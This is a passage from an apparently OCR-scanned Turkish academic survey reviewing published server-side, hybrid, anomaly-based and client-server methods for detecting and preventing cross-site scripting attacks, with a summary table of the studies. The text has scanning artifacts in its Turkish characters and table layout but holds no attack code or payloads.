isler. Icerigi ayristirirken, varsa statik etiketleri de belirler. Ancak statik etiketler, dinamik
JavaScript icerigi icerebilir. Bu nedenle, once JavaScript test cihazina gonderilirler.

Giivenilmeyen igerik filtrelenir. Kalan icerikse DOM’u olusturmak i¢in kullanilir.

Shahriar ve Zulkernine (2011), yaptiklar1 ¢calismada XSS saldirilarini otomatik olarak tespit
etmek i¢in S”XS?’yi sundular. Oncelikle yontem, sinir enjeksiyonu ve politika iiretimi olmak
tizere iki kavrama baglidir. Sunucu tarafi uygulama kodunda, dinamik igerik barindirabilecek
veya olusturabilecek her konumdan 6nce ve sonra sinirlar, yani HTML veya JavaScript
yorumlar1 kullanilir. Bir sinir, icerigin beklenen ozelliklerini, yani sunucu tarafi kodunu
belirtebilir. Bu 6zellikler, herhangi bir sapmay1 belirlemek icin ¢ikis 6zelligi karsilastirici
modiilii tarafindan karsilik gelen yanita gore eslestirilir. Beklenen 6zellikler politika bilgisi
olarak ayarlanir ve Politika Depolama modiiliinde saklanir. Bir sapma varsa bu, bir XSS
saldirisinin devam ettigi anlamina gelir. Saldir1 isleyici modiiliiniin gorevi, kotiicil igerigi
sayfalardan kaldirmaktir. Onceden girilen sinirlar, smir kaldirma modiilii tarafindan kaldirilir

ve degistirilen yanit sayfasi istemciye aktarilir.

Guo, Jin ve Zhang (2015), yaptiklar1 calismada HTML etiketi veya olay Oznitelikleri,
kaynak ambarlar1 ve doniisiim kurallar1 gibi saldir1 vektorii kaliplart kullanilarak otomatik

olarak olusturulmus bir saldir1 vektorii deposu kullanan bir XSS saldir1 giivenlik zafiyeti
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algilama teknigi onermektedir. Kaynak ambarlari, saldir1 vektorlerinin (formlar ve giris
etiketleri gibi) parcasi olan aday sembolleri, bir saldir1 vektorii olusturmak i¢in kaynaklar
(6rn.; src ve href gibi ozellikler) ve saldir1 vektorlerinin doniisiimii icin kaynaklar igerir
(0rn.; "<script>" veya "\n"). Doniistim kurallari, saldir1 vektdr havuzunu kontrol etmek icin
kullanilir. Daha sonra, giivenlik zafiyeti algilamasini optimize etmek i¢in Makine Ogrenmesi
algoritmalar ile saldirt vektorii havuzu optimize edilir. Son olarak, giivenlik zafiyeti tespiti
icin enjeksiyon noktalar1 tanimlanir ve saldirt vektorlerine girdi olarak verilir. Giivenlik
zafiyetinden etkilenen bir uygulamada, form girdileri, URL nin sonu, URL parametreleri

veya HTTP protokol baslig1 gibi birkac¢ enjeksiyon noktas1 olabilir.

Maurya (2015), XSS saldirilarinm tespit etmek ve Onlemek i¢in Pozitif Giivenlik Modeli
tabanli bir sunucu tarafi ¢oziimii 6nermektedir. Coziimiin arkasindaki ana fikir, kullanici
girisinin web uygulamasinin veri tabaninda saklanmadan once temizlenmesidir. Boylece,
Depolanmis XSS saldirilarimi azaltir. Temizleme islemi, ¢iktisi XSS filtresine verilen
Temizleyici bileseni tarafindan gerceklestirilir. XSS filtresi, bir dizi izin verilmis etiket iceren
bir beyaz listeye karsilik gelir. Modelin, bir diizey beyaz liste veya iki diizey beyaz liste
olarak uygulanma segenekleri vardir. Tek fark, tek seviyeli bir beyaz listede, giivenli HTML
etiketlerine ve ilgili 6zelliklerine tamamen izin verilirken, iki seviyeli bir beyaz listede
niteliklere gore kisitlamalar getirilmesidir. Son olarak filtrelenen girdi, depolama amaciyla

ve ileride kullanilmak tizere veri tabanina iletilir.

Gupta ve Gupta (2016a), Bulut Bilisim ortamindaki XSS saldirilarim1 hafifletmek i¢in
geligtirilen ve Sanal Bulut Sunucusuna (VCS: Virtual Cloud Server) uygulanan bir
cerceve Onermislerdir. Baglangic olarak istemciden gelen HTTP istekleri, herhangi bir
URI baglantisinin varligim saptamak icin Harici JavaScript Baglanti Cikarict modiilii
yardimiyla incelenir. Herhangi bir URI baglantisinin varligi, harici XSS yiikleriyle veya hatta
kotiiciil harici JavaScript dosyalartyla baglanti oldugunu gosterir. Daha sonra, GET/POST
yonteminin sunulmasi nedeniyle olusturulan betik igerikleri HTTP yanitindan c¢ikarilir.
Bu islem, Betik Cikarma modiili tarafindan gergeklestirilir. Bu adimi takiben, Benzerlik
Algilayic1 modiil tarafindan yapilan HTTP isteginin URI igerigi ile bir karsilagtirma yapilir.
Sanal Kod Coziicii modiilii, tiim icerik okunabilir forma doniistiiriilene kadar iki komut
dizisini 6zyinelemeli olarak cozer. Ikisi arasindaki herhangi bir benzerlik kotii amacli
etkinlik olarak kabul edilir. Sonucta, Sanal XSS Temizleyici modiil devreye girer ve

kodu ¢oziilmiis kod setlerine icerige duyarli temizleme uygular. Bu, tarayicinin bulut
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kullanicilarina giivenli icerik sunmasini garantiye alir.

Lekies ve dig. (2017), yaptiklar1 calismada betik pargalarini (gadget) istismar eden Kod
Tekrar Kullanma (Code-Reuse) saldirisi adi verilen yeni bir Web saldiris1 6nermektedir.
Yazarlar yaptiklar1 calismada sistematik olarak mevcut XSS azaltma tekniklerinin bu tiir
saldirilar tespit etmek icin neden yeterli olmadigin1 gostermektedir. Betik parcalari, zafiyete
acik web sayfasindaki mesru kodun bir parcasi olan kiigiik bir JavaScript kod parcasindan
bagka bir sey degildir. Bu parcalar uygulama kodunda zaten vardir ve saldirgan tarafindan
enjekte edilmemektedir. JavaScript kodu, web belgesindeki DOM igerigine karsi tepki verir.
I1k olarak saldirgan, web uygulamasina, yiiriitiilebilir betik kodu icermediginden gecerli XSS
azaltma teknikleri tarafindan algilanmayan zararsiz HTML bicimlendirmesi enjekte eder.
Zamanla, web uygulamasinin betik parcalari, enjekte edilen isaretlemeyi yiiriitiilebilir kod
olarak istemeden isler. Boylece, Kod Tekrar Kullanma saldirisinin yolunu agar (Roemer ve
dig., 2012). Yazarlar ayrica, dize diizenleme parcalari, fonksiyon olusturma parcalari, 6ge
inga parcalari, ifade ayristiricilarindaki parcalar, JavaScript yiiriitme cikis noktasi pargalari
gibi ¢esitli parca kategorilerini ayrintili olarak inceler. Yazarlar, bu parcalarin HTML
temizleme, tarayici filtreleri, istek filtreleme ve kod filtreleme gibi farkl: stratejiler kullanan
farkli XSS azaltma tekniklerini atlatabildigini kanitladi. Bu makaledeki diger bir katki da,
650k web sayfasindaki betik parcalarim tespit etmek icin Alexa Ilk 5000 Web Sitesinde
yapilan deneysel ¢alismadir. Sonuglar ve dogrulama, tiim alan adlarindaki betik pargalarinin

%19,8’1nin tespit edilebildigini gostermistir.

Hibrit Analiz

Hibrit analiz, hem statik analiz hem de dinamik analiz yOntemlerinin avantajlarindan
yararlanir. Statik analiz, uygulama kodundaki giivenlik zafiyeti barindiran boliimleri
belirlemek i¢in kullanilabilir. Daha sonra, bu boliimlerin davranigt analiz edilmek, yani
dinamik analiz yapilmak iizere ¢alistirilir (Shahriar ve Zulkernine, 2012). Ancak, statik
analiz mekanizmas1 herhangi bir giivenlik zafiyeti tespit edemezse, dinamik analiz yapmak
verimli sonu¢ vermez. Bu nedenle, temizleme mekanizmasinin uygun onaylar1 gereklidir
(Balzarotti ve dig., 2008). Yillar boyunca 6nerilmis olan bazi hibrit analiz yaklagimlari

asagida incelenmistir.

Huang ve dig. (2004), yaptiklar1 calismada web uygulama kodunun giivenligini saglamak
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icin bir yontem gelistirmigtir. Yazarlara gore, bir web uygulamasindaki giivenlik zafiyetleri,
giivenli veri akis1 sorunlarindan bagka bir sey degildir ve sonucta veri biitiinligii ihlallerine
neden olur. Web uygulama kodu, giivenlik agigindan etkilenen kod boliimleri i¢in tip
sistemlerinden ((Denning, 1976) temel alinmistir) ve tip durumundan ((Foster, Fihndrich
ve Aiken, 1999) temel alinmistir) gelistirilen kafes tabanli bir statik analiz algoritmasi
kullanilarak statik olarak dogrulamir. Bu bdliimler tanimlandiktan sonra, boliimlerin
giivenligini saglamak icin WebSSARI (Web application Security by Static Analysis and
Runtime Inspection)’ tarafindan koruma seklindeki calisma zamam korumasi otomatik
olarak eklenir ancak ek agiklama kullanilmaz. lave edilen korumalar, insan miidahalesi

olmadan zafiyetlerin iistesinden gelmek i¢in temizleme rutinlerini isletirler.

Di Lucca ve dig. (2004), yaptiklar1 ¢alismada bir web uygulamasindaki XSS giivenlik
zafiyetlerini belirlemek i¢in bir yaklasim Onermistir. Bir web sayfasi uygulamasindaki
giivenlik zafiyetini tespit etmek ic¢in ilk olarak bir statik analiz mekanizmasi kullanilir.
Bu adimi gergeklestirmek i¢cin Kontrol Akis Diyagramlart (CFG: Control Flow Graph)
olusturulur. Bir v degiskeni goz Oniine alindiginda, giris(v) dogrudan ¢ikig(v)’ ye baglysa,
sayfa XSS’ye kars1 zafiyete acikti. Web uygulamasinin zafiyete acik oldugunu kesin
olarak kanitlamak icin dinamik analiz yapilir. Baska bir deyisle, dinamik analiz, statik
analizle kesfedilen uygulamanin giivenlik zafiyetini bir kez daha dogrular. Dinamik analiz
sirasinda, daha Once statik analizle zafiyete acik oldugu bildirilen web sayfasinin ¢esitli giris
noktalarina saldir1 dizeleri enjekte edilir. WATT (Web Application Testing Tool) (Di Lucca
ve dig., 2002) adl1 test araci, ¢esitli test senaryolari olusturmak ve daha sonra da tespit edilen

zafiyet varsa saldir1 sonuglarinm elde etmek i¢in kullanilir.

Jaballah ve Kheir (2016), bir web uygulamasi ile kotii amach etkilesimleri tespit etmeyi
amaglayan bir gri kutu yaklagimi onermistir. Gri kutu yaklagimi, hem beyaz kutu hem de
kara kutu testinin avantajlarin1 kullanir. Beyaz kutu test yaklagimlari, web uygulamalarinin
i¢ yapisal kusurlarim belirleyebilir, ancak mantiksal kusurlarin iistesinden gelemez. Ote
yandan, kara kutu test yaklagimlari, bir uygulamanin is akisini analiz etseler de, yiiksek hatali
pozitif oranlarla sonuglanir. Ug ana fonksiyonel modiil vardir. Ilki olan Davranig Diyagrami
Ureteci (BGG: Behavior Graph Generator) modiiliine uygulamaya iliskin gercek diinya

kullanic1 oturumlar: kiimesi girdi tegkil eder. Ana fikir, gercek bir kullanicinin uygulama

7 WebSSARI, PHP’de giivenlik agiklarini bulmak icin kusur yayilim analizini ilk uygulayan calismalarda ortaya cikmis
bir aractir (Huang ve dig., 2004).
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ile farkli sekillerde etkilesime girebilecegidir, ancak etkilesimlerin baz1 ortak altdizileri
vardir. Bu etkilesimlerden 6zellikler ¢ikarilir ve ortak alt kiimeleri 6grenmek i¢in denetimsiz
bir kiimeleme teknigi kullanilir. Bu modiiliin ¢iktisi, kullanicilarin bir dizi davranis
diyagramidir. Saldir1 Diyagramlar1 Uzlastiricis1 (AGM: Attack Graphs Mediator), girdisi
bir dizi saldir1 diyagrami olan ikinci modiildiir. Saldir1 diyagramlari, gerceklestirilen eylem
dizilerini veya bir saldirgan tarafindan kullanilan giivenlik kusurlarini icerir. Her diigiim,
bir saldirinin meydana gelme olasiligimi gosteren bir olasilik degeri ile iligkilidir. Temel
olaylardan olusan bir ara olay diyagram iiretir. Son olarak, Davranig Diyagrami Budama
(BGP: Behavior Graph Pruning) modiilii, alt diyagram esbi¢imliligini uygulamak i¢in olay
diyagramini ve davranis diyagramlarini girdi olarak alir. Bu modiil iki 6nemli gorevi yerine
getirir. 11k olarak, olay diyagramindaki diigiimlerle benzer 6zelliklere sahip kotii niyetli
davranislar1 veya saldirilar1 asamali olarak durdurur. Ikincisi, mesru kullanicilarin tehlikesiz
etkilesimlerini kesfeder. Bu kategorilerden hicbirine girmeyen diger tiim etkilesimler yeni

saldir1 senaryolar olarak isaretlenir.

Anomali Temelli Yaklasimlar

Anormal Ornekler, bir sistemin beklenen normal davranigina veya ozelliklerine sahip
olmayan Orneklerdir. Bunlara aykir1 degerler, anormallikler veya istisnalar da denebilir
(Ampah ve dig., 2011; Bhattacharyya ve Kalita, 2013; Chandola, Banerjee ve Kumar,
2009; Gogoi, Borah ve Bhattacharyya, 2010). Bir 6rnegi anormal olarak siniflandirmak i¢in
neyin normal kabul edildiginin anlagilmas1 gerekir. Dolayisiyla, bir 6rnegin 6zellikleri ve
davranigt normal bir model tarafindan olugturulan profilden biiyiik oranda saparsa, anormal
olarak simflandirilir (Bhuyan, Bhattacharyya ve Kalita, 2014). Orneklere ne kadar anormal
olduklarimi belirtmek i¢in anomali skorlar1 atanabilir. XSS saldirilarini tespit etmek igin

anomali tespiti kullanan saldir1 tespit yontemleri asagida ele alinmaktadir.

Kruegel ve Vigna (2003), yaptiklar1 ¢calismada Web sunucularini ve uygulamalarin1 hedef
alan Web tabanli saldirilar tespit etmek icin yeni bir saldir1 tespit sistemi getirmistir. Ayrica,
uygulama seviyesinde izinsiz giris tespiti ve 0grenmeye dayali anomali tespiti tizerinde de
durmuslardir. Sistem, belirli bir sunucu tarafi uygulamasina yonelik istemci sorgularindan
cikarilan ¢esitli 6zelliklerin modellerini olusturur. Her modelin iki asamasi vardir: egitim

veya O0grenme asamasi ve algilama asamasi. Sisteme girisler, Web sunucusunun giinliik
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dosyalaridir (Ortak Giinliik Dosyasi, CLF: Common Log File formatinda) ve her bir HTTP
istegi i¢in bir anormallik puam olusturulur. HTTP isteindeki parametreler ve ilgili erisim
kaliplari, uygulamanin zaten bilinen profilleri ile karsilagtirilir. Anomali tespiti esas olarak
normal davranisi karakterize eden modellere bagli oldugundan, sistem bircok HTTP istegi
arasindaki anormal girisleri belirlemek icin ¢esitli modellerden yararlanir. Sistem tarafindan
kullanilan ¢esitli modeller; nitelik uzunlugu (sorgu uzunlugu), nitelik karakter dagilimu,
yapisal ¢ikarim, belirtec (token) bulucu, nitelik varlig1 veya yoklugu ve nitelik sirasidir. Her
modelin amaci, sorguya ve Ozniteliklerine bir olasilik degeri vermektir. Diisiik bir olasilik
degeri (yani, anormal) potansiyel bir saldirty1r gosterir. Elde edilen olasilik degerlerinden,
sorgu ve Oznitelikleri icin anomali puanlar1 hesaplanir ve eger puan egitim asamasinda

belirlenen bir esik degerinden diisiikse, anormal (saldir1) olarak kabul edilir.

Robertson ve dig. (2006), yaptiklar1 ¢alismada genelleme ve nitelendirme tekniklerini
kullanarak web tabanli saldirilar1 saptamak i¢in anomali tabanli bir yontem sunmuslardir.
Baslangigta, algilama sisteminde ayarlanan anormallik degeri bostur. Yontemde iki veri
kiimesi, TU Vienna ve USCB kullanilmistir. Bunlardan ilk 1000 6rnek 6grenme asamasinda
kullanilir. Algilama moduna gegerken, herhangi bir uyari olusturulursa, bunlar hatali
pozitif olarak kabul edilir. Bunun nedeni, bu 1000 6rnek arasinda saldiriya 6zgii bir
orne8in olmadi81 varsayimindan kaynaklanmaktadir. Genelleme ve nitelendirme teknikleri,
giivenilmeyen ve siipheli web isteklerinden anormallik imzalari olusturur. Bagka bir
deyisle, web isteklerindeki anormallikler genellestirilir ve anormallik imzalarina veya
bilinen profillerden sapmalara doniistiiriiliir. Benzer anormal web istekleri, imzalarina gore
gruplandirilir. Bu, yoneticinin benzer uyar tiirlerini ele almasini kolaylastirir. Bir gruptan
gelen bir uyar1 ya hatali pozitif ya da gercek bir saldir1 6rnegi olabilir. Hatal1 pozitif ise goz
ardr edilir. Tlgili anomali imzas1, gelecekteki hatali pozitifleri filtrelemek icin kullanilir. Bu
bir saldir1 6rnegiyse, uygulamada buna karsilik gelen kusur tanimlanir ve diizeltilir. Glivenlik
kusurlarinin nedenini daha fazla belirleyebilmek ve saldirt tiiriinii siniflandirmak i¢in sezgisel
bir teknik kullanilir. XSS saldirilarini belirlemek i¢in kullanilan sezgisel yontemler kiimesi,
HTML parcalarina veya JavaScript’in “<” veya “>” gibi soz dizimsel 6gelerine veya bir

betige dayanir.

Song, Keromytis ve Stolfo (2009), yaptiklar1 calismada web trafigindeki anormallikleri tespit
etmeye calisan ag temelli bir istatistiksel anomali tespit sensorii olan Spektrogram’1 tanitti.

Bu sensor, kotii amaghi yazilim yerine mesru veriler iizerinde calisarak XSS saldirilarina
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kars1 koruma saglamaya calisir. HTTP istegi parametrelerinde bulunan betikleri inceler ve
yalitir, parametrelere dayali olarak betigin yapisini ve icerigini olusturur. Spektrogram’in
sorumluluklarindan biri de icerik akiglarini korumaktir, bu nedenle paketleri yeniden
birlestirmeyle de ugrasir. Yeniden birlestirme, icerigin web uygulamasinin gorecegi icerikle

ayn1 olmasi i¢in yapilir. Daha sonra yalnizca mesru betik giriglerini filtrelemeyi 6grenir.

Tablo 2.11: Sunucu Tarafi XSS Tespit Yaklagimlarmin Ozeti

Analiz Tiirii Referans Calisma Odaklamlan Alan Tespit edilen XSS Tipi Giiclii Yon / Zayifhk
(Scott ve Sharp, 2002) Saldir1 Tespit ve Onleme Belirtilmemis
(Minamide, 2005) Zafiyet Tespiti Belirtilmemis

(Nguyen-Tuong ve dig.,
2005)

Saldir1 Tespit ve Onleme

Yansitilmis ve Depolanmig

(Pietraszek ve Berghe, 2005)

Saldir1 Tespit ve Onleme

Belirtilmemis

(Jovanovic, Kruegel ve Kirda,

Statik Analiz Zafiyet Tespiti Belirtilmemis
2006)
(Xu, Bhatkar ve Sekar, 2006) Saldiri Tespiti Belirtilmemis
Performansi iyi degil ¢iinkii zararli JavaScript’i
(Galan ve dig., 2010) Zafiyet Tespiti Depolanmig tespit etmek igin sistemde birgok farkli ajan
devreye giriyor. Algilama oran1% 39.8dir.
3 .. Veri tabaninda var olan durumlari atlatan
(Gupta ve Gupta, 2015) Saldiri Tespit ve Onleme Yansitilmis ve Depolanmig
saldirilar ele alinamaz.
Zafiyet Tespiti ve Saldirt
(Gupta ve Gupta, 2016) .. Yansitilmis ve Depolanmig
Onleme
(Medeiros, Neves ve Correia, N . il
Zafiyet Tespiti Belirtilmemis
2016)
(Mohammadi, Chu ve
s Zafiyet Tespiti Yansitilmig ve Depolanmig
Lipford, 2017)
(Gupta ve Gupta, 2018) Saldir Tespit ve Onleme Yansitilmig ve Depolanmig
Insan miidahalesi gerekmez. Bununla birlikte,
(Kals ve dig., 2006) Zafiyet Tespiti Yansitilmig deneyler icin hicbir ayagi yere basan temel
gercek yoktur.
Daha fazla betik 6rnegi toplanmalidir. Ayrica,
(Johns, Engelmann ve . .
Saldiri Tespiti Yansitilmis ve Depolanmig Depolanmis XSS algilamirken hatali pozitifier
Posegga, 2008)
vardr.
Di ik Analiz - - -
(Louw ve Venkatakrishnan, " Sunucu tarafinda, giivenli olmayan HTML nin
Saldirt Onleme Belirtilmemis
2009) iistesinden gelmek i¢in bir mekanizma yoktur.
. . .. o . JavaScript ile smirhdir.  Ayrica  yiiksek
(Wurzinger ve dig., 2009) Saldir1 Tespit ve Onleme Belirtilmemis . o
performansli web servisleri i¢in uygun degildir.
(Chandra ve Selvakumar, .. - . Yontem OWASP kopya kagidinda (cheat sheet)
Saldir1 Onleme Belirtilmemis
2011) sunulan érneklerle sinirhidir.
(Shahriar ve Zulkernine, . o -
2011) Saldir Tespiti Yansitilmig ve Depolanmig Hatal1 pozitif oran1 %35,2’ye kadar ¢ikabilir.
(Guo, Jin ve Zhang, 2015) Zafiyet Tespiti Yansitilmis ve Depolanmig
. .. Her zaman yeterli olmayabilecek bir beyaz liste
(Maurya, 2015) Saldir1 Tespit ve Onleme Depolanmig
kullanir.
. Bulut kullanicilarini digerlerinden farkli olarak
(Gupta ve Gupta, 2006) Saldirt Tespiti Yansitilmig
korur.
DOM tabanli XSS saldirlart i¢in kod tekrar
kullanma yontemi olarak adlandirilan yeni bir
(Lekies ve dig., 2017) saldii  Onermis ve mevcut XSS azaltma
yontemlerin  bir ¢ogunun bu saldiri ile
gecilebildigini gostermistir.
(Huang ve dig., 2004) Zafiyet Tespiti Belirtilmemis
Hibrit Analiz (Di Lucca ve dig., 2004) Zafiyet Tespiti Belirtilmemis

(Jaballah ve Kheir, 2016)

Saldirt Tespit ve Onleme

Yansitilmig ve Depolanmig

Bir saldirganin, diger mesru kullanicilardan
farkli olarak bir uygulama ile kotii amagh

etkilesimlerini algilar.




102

Sunucu tarafindaki giivenlik zafiyetleri nedeniyle bir XSS saldirist olustugu i¢in, sunucu
tarafinda bir savunma sisteminin bulunmasi mantiklidir. Bir sunucu, kaynaklar1 itibariyla
giiclii bir makine oldugundan, algilama neredeyse gercek zamanli olarak miimkiindiir.
Ancak, sunucu tarafi savunma mekanizmasi yalmzca Yansitilmig ve Depolanmis XSS
saldirilarini algilamakla simirhidar. Istemci tarayicisindaki giivenlik zafiyeti nedeniyle DOM
tabanli bir XSS saldiris1 olustugu i¢in, sunucu tarafi savunmalar tarafindan algilanmasi
miimkiin degildir. Ayrica savunma mekanizmalarinda, istemcinin ¢iktiy1 alirken gecikmeyle
karsilasabilecegi performans sorunlari olabilir. Tablo 2.11°de burada tartigilan sunucu tarafi

algilama yaklagimlarin 6zeti sunulmaktadir.

Sunucu tarafindaki zafiyetler icin Saldir1 Tespit ve Onleme (IPS/IDS) cihazlarmmn
kullanilmasi, tespit i¢in sunucuya gelen ilave yiikiin bertaraf edilmesi i¢cin anlamli olabilir.
Kurumsal altyapilar diisiiniildiigiinde, network tabanli saldir1 tespit ve dnleme sistemlerine

ilaveten istemci tabanli IPS/IDS yazilimlarinin da birlikte ¢alistirilabildigi goriilmektedir.

2.2.5.3. Istemci-Sunucu Tarafi Tespit Yaklagunlar:

Bir XSS saldiris1, hem istemci hem de sunucu icin tehdit olusturur. Istemci, kotii niyetli
bir saldirgan tarafindan hassas bilgilerinin ele gegirilmesi riskiyle kars1 karsiyadir, ¢iinkii
saldirgan kurbani kolayca taklit edebilir. Sunucu ise, cesitli is ve finansal risklerle
sonuclanabilecek kaynaklarin1 kaybetme riski altindadir. Bu nedenle, bu tiir saldirilara
kars1 koymak i¢in bir savunma mekanizmasi, yalnizca birine degil, hem istemciye hem de
sunucuya giivenmelidir. Bu 6nemli noktalar1 akilda tutarak, arastirmacilar asagida incelenen

yaklasimlari ortaya koymuslardir.

Jim, Swamy ve Hicks (2007), Gomiilii Tarayic1 Politikalar1 (BEEP: Browser Enforced
Embedded Policies) adli bir cerceve ortaya koymustur. BEEP, bir betigin nasil yiiriitiilecegi
ile ilgili politikalar1 uygulamak i¢in istemci tarayicisinda degisiklik yapilmasini Onerir.
Politikalar, web sunucusu tarafindan uygulanir. Iki 6rnek politika, Beyaz Liste Politikas1 ve
DOM Kum Havuzu Politikasidir. Beyaz Liste politikasinda, sayfadaki her betik, zaten bilinen
giivenilir betik Ozetlerine (hash) gore denetlenir. Bir betigin 6zeti, zaten var olan bir taneyle
eslesiyorsa, ylriitiilmesine izin verilir; aksi taktirde giivenilir degil kabul edilir. DOM Kum
Havuzu politikasinda, giivenilir betikler, sunucu tarafindan div veya span HTML etiketlerine

dahil edilir. Web tarayicis1 yalnizca giivenilir DOM 6gelerindeki betikleri yiiriitiir.
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Wassermann ve Su (2008), zayif girdi dogrulamasindan kaynaklanan XSS giivenlik
aciklarimi tespit etmek icin statik bir analiz yaklasimi onermistir. Oncelikle, bir web
uygulama sunucusuna gelen giivenilmeyen herhangi bir girisin tarayicida JavaScript
motorunun ¢agrilmasimma neden olup olmayacadi kontrol edilir. Calismalart hem dize
analizinin hem de kusurlu bilgi akiginin birlesimidir. Yazarlara gore, XSS giivenlik agiklari
bir web uygulamasinda yalnizca denetlenmemis ve giivenilmeyen veriler nedeniyle degil,
ayn1 zamanda yeterince denetlenmemis ve giivenilmeyen veriler nedeniyle de olugmaktadir.
S6z konusu yaklasimda iki boliim vardir. ilk olarak, giivenilmeyen alt dize degerleri
uyarlanmis bir dize analizi ile tanimlanir ve izlenir. ikinci olarak, bicimsel dil mekanizmalari
kullanilarak giivenilir olmayan senaryolar tanimlanir (Wassermann ve Su, 2007). Bu
dize-kusur analizi yaklasimi, dize operasyonlarinin semantigini modellemek i¢in sonlu
durum c¢eviricilerini ve dize degeri yiginlarim1 temsil etmek i¢in baglamsiz gramerleri
kullanir. ikinci asamada, web sayfalarinin giivenilir olmayan betikleri icermesine izin
verilmeyen bir yaklagimla kuralli ifadeler kullanan bir politika uygulanir. Bunun igin,
bir tarayicinin JavaScript motorunun dil kapsami kullanilarak cagrildigi kosullara dikkat
edilmelidir. Politika olusturmak i¢in Firefox ve Mozilla tarafindan kullanilan Gecko
motorunun ana hatlar1 genis c¢apta incelenmistir. Betiklerin bir HTML belgesine nasil

gomiildiigiinii analiz ederken W3C’nin Onerileri de dikkate alinmustir.

Nadji, Saxena ve Song (2009), yaptiklar1 calismada Belge Yapisi Biitiinligii (DSI:
Document Structure Integrity) adli bir ozellie dayanarak XSS saldirilarina karsi bir
istemci-sunucu mimarisi onermektedir. Yazarlara gore, XSS saldirist bir giris dogrulama
sorunu degil, bir yetki yiikseltme zafiyetidir, yani boyle bir saldiri, uygulamadaki bir
hatayr veya tasarim kusurunu algilar ve kaynaklara erigsmek icin bunu yetkisiz bir sekilde
kullanir. DSI, bir web uygulamasinin yiiriitiilmesi sirasinda giivenilir kod yapisin,
zorla sokulan giivensiz veriler veya kullanici tarafindan olusturulan veriler tarafindan
degistirilmemesini saglar. DSI, sorgu biitiinligii saglayan SQL Hazir Deyimlere (SQL
Prepared Statements)® benzer. Ayristiric1 diizeyinde, satir ici olarak kullanici tarafindan
olusturulan veriler DSI’nin uygulanmasiyla s6z dizimsel olarak yalitilir. Boylece, giivenilir
olmayan herhangi bir diigiimiin belge yapisini1 degistirmesi onlenir. Glivenilmeyen diigiimler
ayristirma agacinda yaprak diigiimleri olarak alinir. Buna terminal kisitlamasi denir. Web

uygulama kodundaki degisikliklere kars1 korunmak icin sunucu tarafinda bir kusur izleme

8 https://dev.mysql.com/doc/refman/8.0/en/sql-prepared-statements.html
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mekanizmasi kullanilir. Her seyi akilda tutarak, sunucu tarafindaki ilk adim giivenilir ve
kullanic1 tarafindan olusturulan giivenilmeyen verileri ayirmaktir. Bu islem, dinamik kusur
takibi ile gerceklestirilir (Nguyen-Tuong ve dig., 2005; Xu, Bhatkar ve Sekar, 2006). Ikinci
bir adim olarak serilestirme, sayfanin statik yapisinin ek isaretlemelerle zenginlestirildigi
sunucunun c¢ikis arayiiziinde gerceklestirilir. Bu da tarayicinin giivenilir yapilandirilmis
veriler ile giivenilmeyen veriler arasinda ayrim yapmasina yardimct olur. Istemci tarafinda,
ilk olarak serilestirme gerceklestirilir. Bagka bir deyisle, statik belge yapisi tarayicida
yeniden olusturulur. Temel gereksinim, amaclanan yapiy1 korumak ve ayni zamanda i¢indeki
giivenilmeyen diigiimii belirlemektir. Islemdeki son ve nihai adim, tarayicidaki dinamik
Ayristirict Seviyesi izolasyonu (PLI: Parser Level Isolation)’dur. Onceki adimda giivenilir

olmayan veriler varsa, karantinaya alinir ve dinamik olarak izlenir.

Gundy ve Chen (2009), yaptiklar1 calismada kullanicilara web belgelerindeki giivenilen ve
giivenilmeyen icerigi sinirlamalarina yardimcei olan bir teknik olan Noncespaces’1 sundular.
Noncespaces, hem sunucu tarafinda hem de istemci tarafinda bilegenler igerir. Sunucu
tarafinda, bir web sayfasinin igerigi uygulama tarafindan cesitli giiven siniflarina ayrilir.
Her giiven siifi, sunucu tarafindan belirtilen bir politika tarafindan belirtildigi gibi, istemci
tarafinda yalmizca belirli tarayici ozelliklerini kullanabilir. Bu, bir saldirgan tarafindan
hazirlanmig kotii amacli bir betigin zararl etkilerini bastirmaya yardimer olur. Daha belirgin
bir bicimde, web belgesini bir istemciye teslim etmeden 6nce, web uygulamasi Noncespaces
kullanarak XML ad alam etiketlerini rastgele hale getirir. Bu rastgele 6nekler bir saldirgan
tarafindan tahmin edilemez kalirsa, istemcinin web uygulamasina ait giivenilen igerik ile
saldirgan tarafindan hazirlanmig kotii amaclh giivenilmeyen igerik arasinda ayrim yapmasi
miimkiin hale gelir. Sunucu tarafindan uygulanan politika, cesitli giiven siniflarin1 ve
ilgili 6geleri, oznitelikleri ve degerlerini igerir. Istemci tarayicisin isi belgeyi politikaya
gore dogrulamaktir. Web sayfalaria aciklama eklemek icin Noncespaces, Smarty? sablon
motorunun NSmarty adli degistirilmis bir siiriimiinii kullanir. Kolaylik saglamak igin,
politika denetimi tarayicida veya alternatif olarak bir vekil sunucusunda gerceklestirilebilir.

Sekil 2.43, NSmarty motoruyla Noncespace’in bir uygulamasini géstermektedir.

Likarish, Jung ve Jo (2009), yaptiklar1 calismada Gizlenmis Kotiiciil JavaScript’i
(Obfuscated Malicious JavaScript) siniflandirma teknikleri yardimiyla tespit etmek icin

yeni bir yontem onermiglerdir. Gizleme, kotiiciil amagl yazilim algilayicilart atlatmanin

9 https://smarty.net
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Uygulama Mantigi

Sablon degiskenleri
igin degerler ¥ v A
{$degisken_adi} < 174 >
1. Nsmarty sablonu 5. Rastgele XHTML eanens
Y
Smarty $ablon Motoru
2. Statik XML ad alani
onekleri iperen sablon 4. PHP Kodu
Y
Rastgelelegtirme A
Oniglemcisi \ [ Smarty Derleyicisi

A

3. Rastgele XML ad
alani onekleri igeren sablon

Sekil 2.43: Smarty sablon motorunda Noncespace’in uygulanmasi (Gundy ve Chen, 2009)

ve bunlardan kag¢inmanin yaygin bir yoludur. Bu nedenle, yazarlar 6zellikle gizlenmeyi
tespit etmeye yardimci olan birka¢ 6zellik onermiglerdir. Bunlar arasinda Unicode sembol
say1si, HEX karakter sayisi, bosluk yiizdesi, insani okunabilirlik yiizdesi ve ¢agrilan yontem
say1s1 bulunur. Modeli olusturmak icin 50 JavaScript anahtar kelimesi ve sembolii de iceren
toplam 65 ozellik kullanilir. Dort farkli siniflandirici, yani Naif Bayes (John ve Langley,
1995; Witten ve dig., 2016), ADTree (Freund ve Mason, 1999), DVM (Platt, 1999) ve
RIPPER (Cohen, 1995) kullanilir. iki deney gergeklestirilir. Ilk deney, tehlikesiz ve kotii
amaclh betikler arasinda ayrim yapmak icin simiflandiricilart egitir. Her bir simiflandirici
icin 10 parcali ¢apraz dogrulama yapilir. DVM simniflandiricisinin en yiiksek hassasiyet
degerine, RIPPER’1n ise en yiiksek hatirlama degerine sahip oldugu goriilmektedir. Genel
